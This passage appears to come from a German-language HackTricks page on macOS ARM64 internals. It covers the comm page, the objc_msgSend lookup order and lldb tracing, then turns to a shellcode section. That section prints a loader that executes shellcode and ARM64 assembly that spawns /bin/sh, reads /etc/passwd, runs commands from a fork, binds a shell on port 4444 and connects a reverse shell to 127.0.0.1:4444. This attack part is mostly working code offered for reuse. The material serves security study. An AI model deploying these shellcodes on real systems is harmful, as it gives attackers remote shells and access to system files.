zu prüfen als den Quellcode zu prüfen, weil der Code mehrerer syscalls (BSD und Mach) mittels Skripten generiert wird (siehe Kommentare im Quellcode), während du in der dylib finden kannst, was tatsächlich aufgerufen wird.
machdep calls
XNU unterstützt einen anderen Typ von Aufrufen, die "machine dependent" genannt werden. Die Nummern dieser Aufrufe hängen von der Architektur ab und weder die Aufrufe noch die Nummern sind garantiert konstant.
comm page
Dies ist eine vom Kernel verwaltete Speicherseite, die in den Adressraum jedes Benutzerprozesses gemappt wird. Sie soll den Übergang vom Benutzermodus in den Kernelmodus schneller machen als die Nutzung von syscalls für Kernel‑Dienste, die so häufig verwendet werden, dass dieser Übergang sehr ineffizient wäre.
Zum Beispiel liest der Aufruf gettimeofdate
den Wert von timeval
direkt aus der comm page.
objc_msgSend
Es ist sehr häufig, diese Funktion in Objective-C- oder Swift-Programmen zu finden. Diese Funktion ermöglicht das Aufrufen einer Methode eines Objective‑C‑Objekts.
Parameter (more info in the docs):
- x0: self -> Zeiger auf die Instanz
- x1: op -> Selector der Methode
- x2... -> Rest der Argumente der aufgerufenen Methode
Wenn du also einen Breakpoint vor dem Branch zu dieser Funktion setzt, kannst du im lldb leicht herausfinden, was aufgerufen wird (in diesem Beispiel ruft das Objekt ein Objekt von NSConcreteTask
auf, das einen Befehl ausführt):
# Right in the line were objc_msgSend will be called
(lldb) po $x0
<NSConcreteTask: 0x1052308e0>
(lldb) x/s $x1
0x1736d3a6e: "launch"
(lldb) po [$x0 launchPath]
/bin/sh
(lldb) po [$x0 arguments]
<__NSArrayI 0x1736801e0>(
-c,
whoami
)
tip
Wenn die Umgebungsvariable NSObjCMessageLoggingEnabled=1
gesetzt ist, ist es möglich zu protokollieren, wann diese Funktion aufgerufen wird — in einer Datei wie /tmp/msgSends-pid
.
Wenn zusätzlich OBJC_HELP=1
gesetzt ist und man ein beliebiges Binary aufruft, kann man weitere Umgebungsvariablen sehen, die man verwenden kann, um zu protokollieren, wann bestimmte Objc-C-Aktionen auftreten.
Wenn diese Funktion aufgerufen wird, muss die aufgerufene Methode der angegebenen Instanz gefunden werden; dafür werden verschiedene Suchen durchgeführt:
- Führe einen optimistischen Cache-Lookup durch:
- Bei Erfolg: erledigt
- runtimeLock (read) erwerben
- Wenn (realize && !cls->realized) → Klasse realisieren
- Wenn (initialize && !cls->initialized) → Klasse initialisieren
- Klassen-eigenen Cache prüfen:
- Bei Erfolg: erledigt
- Methodenliste der Klasse prüfen:
- Bei Fund: Cache füllen und erledigt
- Cache der Superklasse prüfen:
- Bei Erfolg: erledigt
- Methodenliste der Superklasse prüfen:
- Bei Fund: Cache füllen und erledigt
- Wenn (resolver): method resolver versuchen und ab class lookup wiederholen
- Wenn immer noch hier (= alles andere fehlgeschlagen): forwarder versuchen
Shellcodes
Zum Kompilieren:
as -o shell.o shell.s
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib
# You could also use this
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem
Um die Bytes zu extrahieren:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done
Für neuere macOS:
# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/fc0742e9ebaf67c6a50f4c38d59459596e0a6c5d/helper/extract.sh
for s in $(objdump -d "s.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done
C-Code zum Testen von shellcode
// code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c
// gcc loader.c -o loader
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";
int main(int argc, char **argv) {
printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));
void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
if (ptr == MAP_FAILED) {
perror("mmap");
exit(-1);
}
printf("[+] SUCCESS: mmap\n");
printf(" |-> Return = %p\n", ptr);
void *dst = memcpy(ptr, shellcode, sizeof(shellcode));
printf("[+] SUCCESS: memcpy\n");
printf(" |-> Return = %p\n", dst);
int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
if (status == -1) {
perror("mprotect");
exit(-1);
}
printf("[+] SUCCESS: mprotect\n");
printf(" |-> Return = %d\n", status);
printf("[>] Trying to execute shellcode...\n");
sc = ptr;
sc();
return 0;
}
Shell
Entnommen von here und erklärt.
.section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment.
.global _main ; This makes the _main label globally visible, so that the linker can find it as the entry point of the program.
.align 2 ; This directive tells the assembler to align the start of the _main function to the next 4-byte boundary (2^2 = 4).
_main:
adr x0, sh_path ; This is the address of "/bin/sh".
mov x1, xzr ; Clear x1, because we need to pass NULL as the second argument to execve.
mov x2, xzr ; Clear x2, because we need to pass NULL as the third argument to execve.
mov x16, #59 ; Move the execve syscall number (59) into x16.
svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, because the svc instruction always triggers a supervisor call, and the exact action is determined by the value in x16.
sh_path: .asciz "/bin/sh"
Mit cat lesen
Das Ziel ist es, execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)
auszuführen, daher ist das zweite Argument (x1) ein Array von params (was im Speicher einem Stack der addresses entspricht).
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the execve syscall
sub sp, sp, #48 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, cat_path
str x0, [x1] ; Store the address of "/bin/cat" as the first argument
adr x0, passwd_path ; Get the address of "/etc/passwd"
str x0, [x1, #8] ; Store the address of "/etc/passwd" as the second argument
str xzr, [x1, #16] ; Store NULL as the third argument (end of arguments)
adr x0, cat_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
cat_path: .asciz "/bin/cat"
.align 2
passwd_path: .asciz "/etc/passwd"
Befehl mit sh aus einem fork aufrufen, damit der Hauptprozess nicht beendet wird
.section __TEXT,__text ; Begin a new section of type __TEXT and name __text
.global _main ; Declare a global symbol _main
.align 2 ; Align the beginning of the following code to a 4-byte boundary
_main:
; Prepare the arguments for the fork syscall
mov x16, #2 ; Load the syscall number for fork (2) into x8
svc 0 ; Make the syscall
cmp x1, #0 ; In macOS, if x1 == 0, it's parent process, https://opensource.apple.com/source/xnu/xnu-7195.81.3/libsyscall/custom/__fork.s.auto.html
beq _loop ; If not child process, loop
; Prepare the arguments for the execve syscall
sub sp, sp, #64 ; Allocate space on the stack
mov x1, sp ; x1 will hold the address of the argument array
adr x0, sh_path
str x0, [x1] ; Store the address of "/bin/sh" as the first argument
adr x0, sh_c_option ; Get the address of "-c"
str x0, [x1, #8] ; Store the address of "-c" as the second argument
adr x0, touch_command ; Get the address of "touch /tmp/lalala"
str x0, [x1, #16] ; Store the address of "touch /tmp/lalala" as the third argument
str xzr, [x1, #24] ; Store NULL as the fourth argument (end of arguments)
adr x0, sh_path
mov x2, xzr ; Clear x2 to hold NULL (no environment variables)
mov x16, #59 ; Load the syscall number for execve (59) into x8
svc 0 ; Make the syscall
_exit:
mov x16, #1 ; Load the syscall number for exit (1) into x8
mov x0, #0 ; Set exit status code to 0
svc 0 ; Make the syscall
_loop: b _loop
sh_path: .asciz "/bin/sh"
.align 2
sh_c_option: .asciz "-c"
.align 2
touch_command: .asciz "touch /tmp/lalala"
Bind shell
Bind shell von https://raw.githubusercontent.com/daem0nc0re/macOS_ARM64_Shellcode/master/bindshell.s auf Port 4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_bind:
/*
* bind(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 0.0.0.0 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #104
svc #0x1337
call_listen:
// listen(s, 2)
mvn x0, x3
lsr x1, x2, #3
mov x16, #106
svc #0x1337
call_accept:
// c = accept(s, 0, 0)
mvn x0, x3
mov x1, xzr
mov x2, xzr
mov x16, #30
svc #0x1337
mvn x3, x0
lsr x2, x16, #4
lsl x2, x2, #2
call_dup:
// dup(c, 2) -> dup(c, 1) -> dup(c, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
Reverse shell
Von https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/reverseshell.s, revshell zu 127.0.0.1:4444
.section __TEXT,__text
.global _main
.align 2
_main:
call_socket:
// s = socket(AF_INET = 2, SOCK_STREAM = 1, 0)
mov x16, #97
lsr x1, x16, #6
lsl x0, x1, #1
mov x2, xzr
svc #0x1337
// save s
mvn x3, x0
call_connect:
/*
* connect(s, &sockaddr, 0x10)
*
* struct sockaddr_in {
* __uint8_t sin_len; // sizeof(struct sockaddr_in) = 0x10
* sa_family_t sin_family; // AF_INET = 2
* in_port_t sin_port; // 4444 = 0x115C
* struct in_addr sin_addr; // 127.0.0.1 (4 bytes)
* char sin_zero[8]; // Don't care
* };
*/
mov x1, #0x0210
movk x1, #0x5C11, lsl #16
movk x1, #0x007F, lsl #32
movk x1, #0x0100, lsl #48
str x1, [sp, #-8]
mov x2, #8
sub x1, sp, x2
mov x2, #16
mov x16, #98
svc #0x1337
lsr x2, x2, #2
call_dup:
// dup(s, 2) -> dup(s, 1) -> dup(s, 0)
mvn x0, x3
lsr x2, x2, #1
mov x1, x2
mov x16, #90
svc #0x1337
mov x10, xzr
cmp x10, x2
bne call_dup
call_execve:
// execve("/bin/sh", 0, 0)
mov x1, #0x622F
movk x1, #0x6E69, lsl #16
movk x1, #0x732F, lsl #32
movk x1, #0x68, lsl #48
str x1, [sp, #-8]
mov x1, #8
sub x0, sp, x1
mov x1, xzr
mov x2, xzr
mov x16, #59
svc #0x1337
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.